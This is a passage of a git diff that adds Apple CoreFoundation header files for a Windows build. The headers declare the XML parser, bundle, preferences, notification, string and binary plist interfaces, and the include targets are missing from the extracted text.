CFDataRef xmlData, CFURLRef dataSource, CFOptionFlags parseOptions, CFIndex versionOfNodes, CFXMLParserCallBacks *callBacks, CFXMLParserContext *context); + +/* Arguments as above, except that the data to be parsed is loaded directly + from dataSource. dataSource may not be NULL. */ +CF_EXPORT +CFXMLParserRef CFXMLParserCreateWithDataFromURL(CFAllocatorRef allocator, CFURLRef dataSource, CFOptionFlags parseOptions, CFIndex versionOfNodes, CFXMLParserCallBacks *callBacks, CFXMLParserContext *context); + +CF_EXPORT +void CFXMLParserGetContext(CFXMLParserRef parser, CFXMLParserContext *context); + +CF_EXPORT +void CFXMLParserGetCallBacks(CFXMLParserRef parser, CFXMLParserCallBacks *callBacks); + +CF_EXPORT +CFURLRef CFXMLParserGetSourceURL(CFXMLParserRef parser); + +/* Returns the character index of the current parse location */ +CF_EXPORT +CFIndex CFXMLParserGetLocation(CFXMLParserRef parser); + +/* Returns the line number of the current parse location */ +CF_EXPORT +CFIndex CFXMLParserGetLineNumber(CFXMLParserRef parser); + +/* Returns the top-most object returned by the createXMLStructure callback */ +CF_EXPORT +void *CFXMLParserGetDocument(CFXMLParserRef parser); + +/* Get the status code or a user-readable description of the last error that occurred in a parse. + If no error has occurred, a null description string is returned. See the enum above for + possible status returns */ +CF_EXPORT +CFXMLParserStatusCode CFXMLParserGetStatusCode(CFXMLParserRef parser); + +CF_EXPORT +CFStringRef CFXMLParserCopyErrorDescription(CFXMLParserRef parser); + +/* Cause any in-progress parse to abort with the given error code and description. errorCode + must be positive, and errorDescription may not be NULL. Cannot be called asynchronously + (i.e. must be called from within a parser callback) */ +CF_EXPORT +void CFXMLParserAbort(CFXMLParserRef parser, CFXMLParserStatusCode errorCode, CFStringRef errorDescription); + +/* Starts a parse of the data the parser was created with; returns success or failure. + Upon success, use CFXMLParserGetDocument() to get the product of the parse. Upon + failure, use CFXMLParserGetErrorCode() or CFXMLParserCopyErrorDescription() to get + information about the error. It is an error to call CFXMLParserParse() while a + parse is already underway. */ +CF_EXPORT +Boolean CFXMLParserParse(CFXMLParserRef parser); + +/* These functions provide a higher-level interface. The XML data is parsed to a + special CFTree (an CFXMLTree) with known contexts and callbacks. See CFXMLNode.h + for full details on using an CFXMLTree and the CFXMLNodes contained therein. +*/ +/* Parse to an CFXMLTreeRef. parseOptions are as above. versionOfNodes determines + what version CFXMLNodes are used to populate the tree. */ +CF_EXPORT +CFXMLTreeRef CFXMLTreeCreateFromData(CFAllocatorRef allocator, CFDataRef xmlData, CFURLRef dataSource, CFOptionFlags parseOptions, CFIndex versionOfNodes); + +/* As above, with the additional by-reference pass of a CFDictionaryRef containing + various error information (see below). The caller is responsible for releasing the + returned dictionary. If the error dictionary is not desired, pass NULL. */ +CF_EXPORT +CFXMLTreeRef CFXMLTreeCreateFromDataWithError(CFAllocatorRef allocator, CFDataRef xmlData, CFURLRef dataSource, CFOptionFlags parseOptions, CFIndex versionOfNodes, CFDictionaryRef *errorDict) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +/* Loads the data to be parsed directly from dataSource. Arguments as above. */ +CF_EXPORT +CFXMLTreeRef CFXMLTreeCreateWithDataFromURL(CFAllocatorRef allocator, CFURLRef dataSource, CFOptionFlags parseOptions, CFIndex versionOfNodes); + +/* Generate the XMLData (ready to be written to whatever permanent storage is to be + used) from an CFXMLTree. Will NOT regenerate entity references (except those + required for syntactic correctness) if they were replaced at the parse time; + clients that wish this should walk the tree and re-insert any entity references + that should appear in the final output file. */ +CF_EXPORT +CFDataRef CFXMLTreeCreateXMLData(CFAllocatorRef allocator, CFXMLTreeRef xmlTree); + +/* Escaping and unescaping XML entities in CFStrings. The standard XML entities + are always replaced. */ +/* Creates a CFString by replacing entities that appear in the entities dictionary. + Dictionary keys are the entities themselves, and the values should be CFStrings + containing the expansion. Pass NULL for entitiesDictionary to indicate no entities + other than the standard five. */ +CF_EXPORT +CFStringRef CFXMLCreateStringByEscapingEntities(CFAllocatorRef allocator, CFStringRef string, CFDictionaryRef entitiesDictionary) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFStringRef CFXMLCreateStringByUnescapingEntities(CFAllocatorRef allocator, CFStringRef string, CFDictionaryRef entitiesDictionary) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +/* CFXMLTreeCreateFromDataWithError error dictionary key constants. */ +CF_EXPORT const CFStringRef kCFXMLTreeErrorDescription AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + /* value is a CFString containing the readable error string. */ + +CF_EXPORT const CFStringRef kCFXMLTreeErrorLineNumber AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + /* value is a CFNumber containing the line on which the error appears. */ + +CF_EXPORT const CFStringRef kCFXMLTreeErrorLocation AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + /* value is a CFNumber containing the byte location at which the error occurred. */ + +CF_EXPORT const CFStringRef kCFXMLTreeErrorStatusCode AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + /* value is a CFNumber containing the error status code. */ + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFXMLPARSER__ */ + diff --git a/winstuff/CoreFoundation/CoreFoundation.h b/winstuff/CoreFoundation/CoreFoundation.h new file mode 100644 index 0000000..7f10304 --- /dev/null +++ b/winstuff/CoreFoundation/CoreFoundation.h @@ -0,0 +1,94 @@ +/* CoreFoundation.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_COREFOUNDATION__) +#define __COREFOUNDATION_COREFOUNDATION__ 1 +#define __COREFOUNDATION__ 1 + +#if !defined(CF_EXCLUDE_CSTD_HEADERS) + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if defined(__STDC_VERSION__) && (199901L <= __STDC_VERSION__) + +#include +#include +#include + +#endif + +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef CF_OPEN_SOURCE +#include +#include +#endif + +#if (TARGET_OS_MAC && !(TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) || (TARGET_OS_EMBEDDED || TARGET_OS_IPHONE) +#include +#include +#endif +#if (TARGET_OS_MAC && !(TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) +#include +#include +#include +#ifndef CF_OPEN_SOURCE +#include +#endif +#endif +#if TARGET_OS_WIN32 +#include +#include +#endif + +#endif /* ! __COREFOUNDATION_COREFOUNDATION__ */ + diff --git a/winstuff/CoreFoundation/ForFoundationOnly.h b/winstuff/CoreFoundation/ForFoundationOnly.h new file mode 100644 index 0000000..f213eb4 --- /dev/null +++ b/winstuff/CoreFoundation/ForFoundationOnly.h @@ -0,0 +1,555 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* ForFoundationOnly.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !CF_BUILDING_CF && !NSBUILDINGFOUNDATION + #error The header file ForFoundationOnly.h is for the exclusive use of the + #error CoreFoundation and Foundation projects. No other project should include it. +#endif + +#if !defined(__COREFOUNDATION_FORFOUNDATIONONLY__) +#define __COREFOUNDATION_FORFOUNDATIONONLY__ 1 + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// NOTE: miscellaneous declarations are at the end + +// ---- CFRuntime material ---------------------------------------- + +CF_EXTERN_C_BEGIN + +#if DEPLOYMENT_TARGET_MACOSX || 0 +#include +#endif //__MACH__ + +CF_EXTERN_C_END + +// ---- CFBundle material ---------------------------------------- + +#include + +CF_EXTERN_C_BEGIN + +CF_EXPORT const CFStringRef _kCFBundleExecutablePathKey; +CF_EXPORT const CFStringRef _kCFBundleInfoPlistURLKey; +CF_EXPORT const CFStringRef _kCFBundleRawInfoPlistURLKey; +CF_EXPORT const CFStringRef _kCFBundleNumericVersionKey; +CF_EXPORT const CFStringRef _kCFBundleResourcesFileMappedKey; +CF_EXPORT const CFStringRef _kCFBundleCFMLoadAsBundleKey; +CF_EXPORT const CFStringRef _kCFBundleAllowMixedLocalizationsKey; +CF_EXPORT const CFStringRef _kCFBundleInitialPathKey; +CF_EXPORT const CFStringRef _kCFBundleResolvedPathKey; +CF_EXPORT const CFStringRef _kCFBundlePrincipalClassKey; + +CF_EXPORT CFArrayRef _CFFindBundleResources(CFBundleRef bundle, CFURLRef bundleURL, CFStringRef subDirName, CFArrayRef searchLanguages, CFStringRef resName, CFArrayRef resTypes, CFIndex limit, UInt8 version); + +CF_EXPORT UInt8 _CFBundleLayoutVersion(CFBundleRef bundle); + +CF_EXPORT CFArrayRef _CFBundleCopyLanguageSearchListInDirectory(CFAllocatorRef alloc, CFURLRef url, UInt8 *version); +CF_EXPORT CFArrayRef _CFBundleGetLanguageSearchList(CFBundleRef bundle); + +CF_EXPORT Boolean _CFBundleLoadExecutableAndReturnError(CFBundleRef bundle, Boolean forceGlobal, CFErrorRef *error); +CF_EXPORT CFErrorRef _CFBundleCreateError(CFAllocatorRef allocator, CFBundleRef bundle, CFIndex code); + +CF_EXTERN_C_END + + +#if (DEPLOYMENT_TARGET_MACOSX || 0) || defined (__WIN32__) +// ---- CFPreferences material ---------------------------------------- + +#define DEBUG_PREFERENCES_MEMORY 0 + +#if DEBUG_PREFERENCES_MEMORY +#include "../Tests/CFCountingAllocator.h" +#endif + +CF_EXTERN_C_BEGIN + +extern void _CFPreferencesPurgeDomainCache(void); + +typedef struct { + void * (*createDomain)(CFAllocatorRef allocator, CFTypeRef context); + void (*freeDomain)(CFAllocatorRef allocator, CFTypeRef context, void *domain); + CFTypeRef (*fetchValue)(CFTypeRef context, void *domain, CFStringRef key); // Caller releases + void (*writeValue)(CFTypeRef context, void *domain, CFStringRef key, CFTypeRef value); + Boolean (*synchronize)(CFTypeRef context, void *domain); + void (*getKeysAndValues)(CFAllocatorRef alloc, CFTypeRef context, void *domain, void **buf[], CFIndex *numKeyValuePairs); + CFDictionaryRef (*copyDomainDictionary)(CFTypeRef context, void *domain); + /* HACK - see comment on _CFPreferencesDomainSetIsWorldReadable(), below */ + void (*setIsWorldReadable)(CFTypeRef context, void *domain, Boolean isWorldReadable); +} _CFPreferencesDomainCallBacks; + +CF_EXPORT CFAllocatorRef __CFPreferencesAllocator(void); +CF_EXPORT const _CFPreferencesDomainCallBacks __kCFVolatileDomainCallBacks; +CF_EXPORT const _CFPreferencesDomainCallBacks __kCFXMLPropertyListDomainCallBacks; + +typedef struct __CFPreferencesDomain * CFPreferencesDomainRef; + +CF_EXPORT CFPreferencesDomainRef _CFPreferencesDomainCreate(CFTypeRef context, const _CFPreferencesDomainCallBacks *callBacks); +CF_EXPORT CFPreferencesDomainRef _CFPreferencesStandardDomain(CFStringRef domainName, CFStringRef userName, CFStringRef hostName); + +CF_EXPORT CFTypeRef _CFPreferencesDomainCreateValueForKey(CFPreferencesDomainRef domain, CFStringRef key); +CF_EXPORT void _CFPreferencesDomainSet(CFPreferencesDomainRef domain, CFStringRef key, CFTypeRef value); +CF_EXPORT Boolean _CFPreferencesDomainSynchronize(CFPreferencesDomainRef domain); + +CF_EXPORT CFArrayRef _CFPreferencesCreateDomainList(CFStringRef userName, CFStringRef hostName); +CF_EXPORT Boolean _CFSynchronizeDomainCache(void); + +CF_EXPORT void _CFPreferencesDomainSetDictionary(CFPreferencesDomainRef domain, CFDictionaryRef dict); +CF_EXPORT CFDictionaryRef _CFPreferencesDomainDeepCopyDictionary(CFPreferencesDomainRef domain); +CF_EXPORT Boolean _CFPreferencesDomainExists(CFStringRef domainName, CFStringRef userName, CFStringRef hostName); + +/* HACK - this is to work around the fact that individual domains lose the information about their user/host/app triplet at creation time. We should find a better way to propogate this information. REW, 1/13/00 */ +CF_EXPORT void _CFPreferencesDomainSetIsWorldReadable(CFPreferencesDomainRef domain, Boolean isWorldReadable); + +typedef struct { + CFMutableArrayRef _search; // the search list; an array of _CFPreferencesDomains + CFMutableDictionaryRef _dictRep; // Mutable; a collapsed view of the search list, expressed as a single dictionary + CFStringRef _appName; +} _CFApplicationPreferences; + +CF_EXPORT _CFApplicationPreferences *_CFStandardApplicationPreferences(CFStringRef appName); +CF_EXPORT _CFApplicationPreferences *_CFApplicationPreferencesCreateWithUser(CFStringRef userName, CFStringRef appName); +CF_EXPORT void _CFDeallocateApplicationPreferences(_CFApplicationPreferences *self); +CF_EXPORT CFTypeRef _CFApplicationPreferencesCreateValueForKey(_CFApplicationPreferences *prefs, CFStringRef key); +CF_EXPORT void _CFApplicationPreferencesSet(_CFApplicationPreferences *self, CFStringRef defaultName, CFTypeRef value); +CF_EXPORT void _CFApplicationPreferencesRemove(_CFApplicationPreferences *self, CFStringRef defaultName); +CF_EXPORT Boolean _CFApplicationPreferencesSynchronize(_CFApplicationPreferences *self); +CF_EXPORT void _CFApplicationPreferencesUpdate(_CFApplicationPreferences *self); // same as updateDictRep +CF_EXPORT CFDictionaryRef _CFApplicationPreferencesCopyRepresentation3(_CFApplicationPreferences *self, CFDictionaryRef hint, CFDictionaryRef insertion, CFPreferencesDomainRef afterDomain); +CF_EXPORT CFDictionaryRef _CFApplicationPreferencesCopyRepresentationWithHint(_CFApplicationPreferences *self, CFDictionaryRef hint); // same as dictRep +CF_EXPORT void _CFApplicationPreferencesSetStandardSearchList(_CFApplicationPreferences *appPreferences); +CF_EXPORT void _CFApplicationPreferencesSetCacheForApp(_CFApplicationPreferences *appPrefs, CFStringRef appName); +CF_EXPORT void _CFApplicationPreferencesAddSuitePreferences(_CFApplicationPreferences *appPrefs, CFStringRef suiteName); +CF_EXPORT void _CFApplicationPreferencesRemoveSuitePreferences(_CFApplicationPreferences *appPrefs, CFStringRef suiteName); + +CF_EXPORT void _CFApplicationPreferencesAddDomain(_CFApplicationPreferences *self, CFPreferencesDomainRef domain, Boolean addAtTop); +CF_EXPORT Boolean _CFApplicationPreferencesContainsDomain(_CFApplicationPreferences *self, CFPreferencesDomainRef domain); +CF_EXPORT void _CFApplicationPreferencesRemoveDomain(_CFApplicationPreferences *self, CFPreferencesDomainRef domain); + +CF_EXPORT CFTypeRef _CFApplicationPreferencesSearchDownToDomain(_CFApplicationPreferences *self, CFPreferencesDomainRef stopper, CFStringRef key); + + +CF_EXTERN_C_END + +#endif + +#if DEPLOYMENT_TARGET_MACOSX || 0 || 0 +// ---- CFNotification material ---------------------------------------- + +#include + +CF_EXTERN_C_BEGIN + +enum { + kCFXNotificationSuspensionBehaviorDeliverImmediately = 1, + kCFXNotificationSuspensionBehaviorDrop = 2, + kCFXNotificationSuspensionBehaviorCoalesce = 4, + kCFXNotificationSuspensionBehaviorHold = 8, + kCFXNotificationSuspensionBehaviorAny = 0x0000FFFF +}; +typedef CFOptionFlags CFXNotificationSuspensionBehavior; + +CF_EXPORT const CFStringRef kCFNotificationAnyName; +CF_EXPORT const CFStringRef kCFNotificationAnyObject; + +typedef void (*CFXNotificationCallBack)(CFNotificationCenterRef nc, CFStringRef name, const void *object, CFDictionaryRef userInfo, void *info); + +// operations: 1==retain, 2==release, 3==copyDescription +typedef void * (*CFXNotificationInfoCallBack)(int operation, void *info); +typedef bool (*CFXNotificationEqualCallBack)(const void *info1, const void *info2); + +// 'object' is treated as an arbitrary unretained pointer for a local notification +// center, and as a retained CFStringRef or NULL for a distributed notification center. +typedef struct { // version 0 + CFIndex version; + CFXNotificationCallBack callback; + CFXNotificationSuspensionBehavior behavior; + CFStringRef name; + const void * object; + void * info; + CFXNotificationInfoCallBack info_callback; +} CFNotificationRegistrationData; + +typedef struct { // version 0 + CFIndex version; + CFXNotificationCallBack callback; + CFXNotificationSuspensionBehavior behaviorFlags; + CFStringRef name; + const void * object; + void * info; + CFXNotificationEqualCallBack info_equal; +} CFNotificationUnregistrationData; + + +CF_EXPORT CFNotificationCenterRef _CFXNotificationGetTaskCenter(void); +CF_EXPORT CFNotificationCenterRef _CFXNotificationGetHostCenter(void); + +CF_EXPORT CFNotificationCenterRef _CFXNotificationCenterCreate(CFAllocatorRef allocator, bool distributed); + +CF_EXPORT void _CFXNotificationRegister(CFNotificationCenterRef nc, CFNotificationRegistrationData *data); +CF_EXPORT void _CFXNotificationUnregister(CFNotificationCenterRef nc, CFNotificationUnregistrationData *data); + +CF_EXPORT void _CFXNotificationPost(CFNotificationCenterRef nc, CFStringRef name, const void *object, CFDictionaryRef userInfo, CFOptionFlags options); +CF_EXPORT void _CFXNotificationPostNotification(CFNotificationCenterRef nc, CFStringRef name, const void *object, CFDictionaryRef userInfo, CFOptionFlags options, void *note); + +CF_EXPORT bool _CFXNotificationGetSuspended(CFNotificationCenterRef nc); +CF_EXPORT void _CFXNotificationSetSuspended(CFNotificationCenterRef nc, bool suspended); + +CF_EXTERN_C_END + +#endif + + +// ---- CFString material ---------------------------------------- + + +CF_EXTERN_C_BEGIN + +/* Create a byte stream from a CFString backing. Can convert a string piece at a + time into a fixed size buffer. Returns number of characters converted. + Characters that cannot be converted to the specified encoding are represented + with the char specified by lossByte; if 0, then lossy conversion is not allowed + and conversion stops, returning partial results. + generatingExternalFile indicates that any extra stuff to allow this data to be + persistent (for instance, BOM) should be included. + Pass buffer==NULL if you don't care about the converted string (but just the + convertability, or number of bytes required, indicated by usedBufLen). + Does not zero-terminate. If you want to create Pascal or C string, allow one + extra byte at start or end. +*/ +CF_EXPORT CFIndex __CFStringEncodeByteStream(CFStringRef string, CFIndex rangeLoc, CFIndex rangeLen, Boolean generatingExternalFile, CFStringEncoding encoding, char lossByte, UInt8 *buffer, CFIndex max, CFIndex *usedBufLen); + +CF_EXPORT CFStringRef __CFStringCreateImmutableFunnel2(CFAllocatorRef alloc, const void *bytes, CFIndex numBytes, CFStringEncoding encoding, Boolean possiblyExternalFormat, Boolean tryToReduceUnicode, Boolean hasLengthByte, Boolean hasNullByte, Boolean noCopy, CFAllocatorRef contentsDeallocator); + +CF_INLINE Boolean __CFStringEncodingIsSupersetOfASCII(CFStringEncoding encoding) { + switch (encoding & 0x0000FF00) { + + case 0x100: // Unicode range + if (encoding != kCFStringEncodingUTF8) return false; + return true; + + + case 0x600: // National standards range + if (encoding != kCFStringEncodingASCII) return false; + return true; + + case 0x800: // ISO 2022 range + return false; // It's modal encoding + + + case 0xB00: + if (encoding == kCFStringEncodingNonLossyASCII) return false; + return true; + + case 0xC00: // EBCDIC + return false; + + default: + return ((encoding & 0x0000FF00) > 0x0C00 ? false : true); + } +} + + +/* Desperately using extern here */ +CF_EXPORT CFStringEncoding __CFDefaultEightBitStringEncoding; +CF_EXPORT CFStringEncoding __CFStringComputeEightBitStringEncoding(void); + +CF_INLINE CFStringEncoding __CFStringGetEightBitStringEncoding(void) { + if (__CFDefaultEightBitStringEncoding == kCFStringEncodingInvalidId) __CFStringComputeEightBitStringEncoding(); + return __CFDefaultEightBitStringEncoding; +} + +enum { + __kCFVarWidthLocalBufferSize = 1008 +}; + +typedef struct { /* A simple struct to maintain ASCII/Unicode versions of the same buffer. */ + union { + UInt8 *ascii; + UniChar *unicode; + } chars; + Boolean isASCII; /* This really does mean 7-bit ASCII, not _NSDefaultCStringEncoding() */ + Boolean shouldFreeChars; /* If the number of bytes exceeds __kCFVarWidthLocalBufferSize, bytes are allocated */ + Boolean _unused1; + Boolean _unused2; + CFAllocatorRef allocator; /* Use this allocator to allocate, reallocate, and deallocate the bytes */ + CFIndex numChars; /* This is in terms of ascii or unicode; that is, if isASCII, it is number of 7-bit chars; otherwise it is number of UniChars; note that the actual allocated space might be larger */ + UInt8 localBuffer[__kCFVarWidthLocalBufferSize]; /* private; 168 ISO2022JP chars, 504 Unicode chars, 1008 ASCII chars */ +} CFVarWidthCharBuffer; + + +/* Convert a byte stream to ASCII (7-bit!) or Unicode, with a CFVarWidthCharBuffer struct on the stack. false return indicates an error occured during the conversion. Depending on .isASCII, follow .chars.ascii or .chars.unicode. If .shouldFreeChars is returned as true, free the returned buffer when done with it. If useClientsMemoryPtr is provided as non-NULL, and the provided memory can be used as is, this is set to true, and the .ascii or .unicode buffer in CFVarWidthCharBuffer is set to bytes. +!!! If the stream is Unicode and has no BOM, the data is assumed to be big endian! Could be trouble on Intel if someone didn't follow that assumption. +!!! __CFStringDecodeByteStream2() needs to be deprecated and removed post-Jaguar. +*/ +CF_EXPORT Boolean __CFStringDecodeByteStream2(const UInt8 *bytes, UInt32 len, CFStringEncoding encoding, Boolean alwaysUnicode, CFVarWidthCharBuffer *buffer, Boolean *useClientsMemoryPtr); +CF_EXPORT Boolean __CFStringDecodeByteStream3(const UInt8 *bytes, CFIndex len, CFStringEncoding encoding, Boolean alwaysUnicode, CFVarWidthCharBuffer *buffer, Boolean *useClientsMemoryPtr, UInt32 converterFlags); + + +/* Convert single byte to Unicode; assumes one-to-one correspondence (that is, can only be used with 1-byte encodings). You can use the function if it's not NULL. The table is always safe to use; calling __CFSetCharToUniCharFunc() updates it. +*/ +CF_EXPORT Boolean (*__CFCharToUniCharFunc)(UInt32 flags, UInt8 ch, UniChar *unicodeChar); +CF_EXPORT void __CFSetCharToUniCharFunc(Boolean (*func)(UInt32 flags, UInt8 ch, UniChar *unicodeChar)); +CF_EXPORT UniChar __CFCharToUniCharTable[256]; + +/* Character class functions UnicodeData-2_1_5.txt +*/ +CF_INLINE Boolean __CFIsWhitespace(UniChar theChar) { + return ((theChar < 0x21) || (theChar > 0x7E && theChar < 0xA1) || (theChar >= 0x2000 && theChar <= 0x200B) || (theChar == 0x3000)) ? true : false; +} + +/* Same as CFStringGetCharacterFromInlineBuffer() but returns 0xFFFF on out of bounds access +*/ +CF_INLINE UniChar __CFStringGetCharacterFromInlineBufferAux(CFStringInlineBuffer *buf, CFIndex idx) { + if (buf->directBuffer) { + if (idx < 0 || idx >= buf->rangeToBuffer.length) return 0xFFFF; + return buf->directBuffer[idx + buf->rangeToBuffer.location]; + } + if (idx >= buf->bufferedRangeEnd || idx < buf->bufferedRangeStart) { + if (idx < 0 || idx >= buf->rangeToBuffer.length) return 0xFFFF; + if ((buf->bufferedRangeStart = idx - 4) < 0) buf->bufferedRangeStart = 0; + buf->bufferedRangeEnd = buf->bufferedRangeStart + __kCFStringInlineBufferLength; + if (buf->bufferedRangeEnd > buf->rangeToBuffer.length) buf->bufferedRangeEnd = buf->rangeToBuffer.length; + CFStringGetCharacters(buf->theString, CFRangeMake(buf->rangeToBuffer.location + buf->bufferedRangeStart, buf->bufferedRangeEnd - buf->bufferedRangeStart), buf->buffer); + } + return buf->buffer[idx - buf->bufferedRangeStart]; +} + +/* Same as CFStringGetCharacterFromInlineBuffer(), but without the bounds checking (will return garbage or crash) +*/ +CF_INLINE UniChar __CFStringGetCharacterFromInlineBufferQuick(CFStringInlineBuffer *buf, CFIndex idx) { + if (buf->directBuffer) return buf->directBuffer[idx + buf->rangeToBuffer.location]; + if (idx >= buf->bufferedRangeEnd || idx < buf->bufferedRangeStart) { + if ((buf->bufferedRangeStart = idx - 4) < 0) buf->bufferedRangeStart = 0; + buf->bufferedRangeEnd = buf->bufferedRangeStart + __kCFStringInlineBufferLength; + if (buf->bufferedRangeEnd > buf->rangeToBuffer.length) buf->bufferedRangeEnd = buf->rangeToBuffer.length; + CFStringGetCharacters(buf->theString, CFRangeMake(buf->rangeToBuffer.location + buf->bufferedRangeStart, buf->bufferedRangeEnd - buf->bufferedRangeStart), buf->buffer); + } + return buf->buffer[idx - buf->bufferedRangeStart]; +} + + +/* These two allow specifying an alternate description function (instead of CFCopyDescription); used by NSString +*/ +CF_EXPORT void _CFStringAppendFormatAndArgumentsAux(CFMutableStringRef outputString, CFStringRef (*copyDescFunc)(void *, const void *loc), CFDictionaryRef formatOptions, CFStringRef formatString, va_list args); +CF_EXPORT CFStringRef _CFStringCreateWithFormatAndArgumentsAux(CFAllocatorRef alloc, CFStringRef (*copyDescFunc)(void *, const void *loc), CFDictionaryRef formatOptions, CFStringRef format, va_list arguments); + +/* For NSString (and NSAttributedString) usage, mutate with isMutable check +*/ +enum {_CFStringErrNone = 0, _CFStringErrNotMutable = 1, _CFStringErrNilArg = 2, _CFStringErrBounds = 3}; +CF_EXPORT int __CFStringCheckAndReplace(CFMutableStringRef str, CFRange range, CFStringRef replacement); +CF_EXPORT Boolean __CFStringNoteErrors(void); // Should string errors raise? + +/* For NSString usage, guarantees that the contents can be extracted as 8-bit bytes in the __CFStringGetEightBitStringEncoding(). +*/ +CF_EXPORT Boolean __CFStringIsEightBit(CFStringRef str); + +/* For NSCFString usage, these do range check (where applicable) but don't check for ObjC dispatch +*/ +CF_EXPORT int _CFStringCheckAndGetCharacterAtIndex(CFStringRef str, CFIndex idx, UniChar *ch); +CF_EXPORT int _CFStringCheckAndGetCharacters(CFStringRef str, CFRange range, UniChar *buffer); +CF_EXPORT CFIndex _CFStringGetLength2(CFStringRef str); +CF_EXPORT CFHashCode __CFStringHash(CFTypeRef cf); +CF_EXPORT CFHashCode CFStringHashISOLatin1CString(const uint8_t *bytes, CFIndex len); +CF_EXPORT CFHashCode CFStringHashCString(const uint8_t *bytes, CFIndex len); +CF_EXPORT CFHashCode CFStringHashCharacters(const UniChar *characters, CFIndex len); +CF_EXPORT CFHashCode CFStringHashNSString(CFStringRef str); + +/* Currently for CFString usage, for handling out-of-memory conditions. + The callback might not return; if it does, true indicates the error was potentially dealt with; false means no. + Typically true means OK to continue executing. +*/ +typedef Boolean (*CFBadErrorCallBack)(CFTypeRef obj, CFStringRef domain, CFStringRef msg); +CF_EXPORT CFBadErrorCallBack _CFGetOutOfMemoryErrorCallBack(void); +CF_EXPORT void _CFSetOutOfMemoryErrorCallBack(CFBadErrorCallBack callback); + + + +CF_EXTERN_C_END + + +// ---- Binary plist material ---------------------------------------- + +typedef const struct __CFKeyedArchiverUID * CFKeyedArchiverUIDRef; +extern CFTypeID _CFKeyedArchiverUIDGetTypeID(void); +extern CFKeyedArchiverUIDRef _CFKeyedArchiverUIDCreate(CFAllocatorRef allocator, uint32_t value); +extern uint32_t _CFKeyedArchiverUIDGetValue(CFKeyedArchiverUIDRef uid); + + +enum { + kCFBinaryPlistMarkerNull = 0x00, + kCFBinaryPlistMarkerFalse = 0x08, + kCFBinaryPlistMarkerTrue = 0x09, + kCFBinaryPlistMarkerFill = 0x0F, + kCFBinaryPlistMarkerInt = 0x10, + kCFBinaryPlistMarkerReal = 0x20, + kCFBinaryPlistMarkerDate = 0x33, + kCFBinaryPlistMarkerData = 0x40, + kCFBinaryPlistMarkerASCIIString = 0x50, + kCFBinaryPlistMarkerUnicode16String = 0x60, + kCFBinaryPlistMarkerUID = 0x80, + kCFBinaryPlistMarkerArray = 0xA0, + kCFBinaryPlistMarkerSet = 0xC0, + kCFBinaryPlistMarkerDict = 0xD0 +}; + +typedef struct { + uint8_t _magic[6]; + uint8_t _version[2]; +} CFBinaryPlistHeader; + +typedef struct { + uint8_t _unused[6]; + uint8_t _offsetIntSize; + uint8_t _objectRefSize; + uint64_t _numObjects; + uint64_t _topObject; + uint64_t _offsetTableOffset; +} CFBinaryPlistTrailer; + +extern bool __CFBinaryPlistGetTopLevelInfo(const uint8_t *databytes, uint64_t datalen, uint8_t *marker, uint64_t *offset, CFBinaryPlistTrailer *trailer); +extern bool __CFBinaryPlistGetOffsetForValueFromArray2(const uint8_t *databytes, uint64_t datalen, uint64_t startOffset, const CFBinaryPlistTrailer *trailer, CFIndex idx, uint64_t *offset, CFMutableDictionaryRef objects); +extern bool __CFBinaryPlistGetOffsetForValueFromDictionary2(const uint8_t *databytes, uint64_t datalen, uint64_t startOffset, const CFBinaryPlistTrailer *trailer, CFTypeRef key, uint64_t *koffset, uint64_t *voffset, CFMutableDictionaryRef objects); +extern bool __CFBinaryPlistCreateObject(const uint8_t *databytes, uint64_t datalen, uint64_t startOffset, const CFBinaryPlistTrailer *trailer, CFAllocatorRef allocator, CFOptionFlags mutabilityOption, CFMutableDictionaryRef objects, CFPropertyListRef *plist); +extern CFIndex __CFBinaryPlistWriteToStream(CFPropertyListRef plist, CFTypeRef stream); + + +// ---- Used by property list parsing in Foundation + +extern CFTypeRef _CFPropertyListCreateFromXMLData(CFAllocatorRef allocator, CFDataRef xmlData, CFOptionFlags option, CFStringRef *errorString, Boolean allowNewTypes, CFPropertyListFormat *format); + + +// ---- Miscellaneous material ---------------------------------------- + +#include +#include +#include + +CF_EXTERN_C_BEGIN + +CF_EXPORT CFTypeID CFTypeGetTypeID(void); + +CF_EXPORT CFTypeRef _CFRetainGC(CFTypeRef cf); +CF_EXPORT void _CFReleaseGC(CFTypeRef cf); + +CF_EXPORT void _CFArraySetCapacity(CFMutableArrayRef array, CFIndex cap); +CF_EXPORT void _CFBagSetCapacity(CFMutableBagRef bag, CFIndex cap); +CF_EXPORT void _CFDictionarySetCapacity(CFMutableDictionaryRef dict, CFIndex cap); +CF_EXPORT void _CFSetSetCapacity(CFMutableSetRef set, CFIndex cap); + 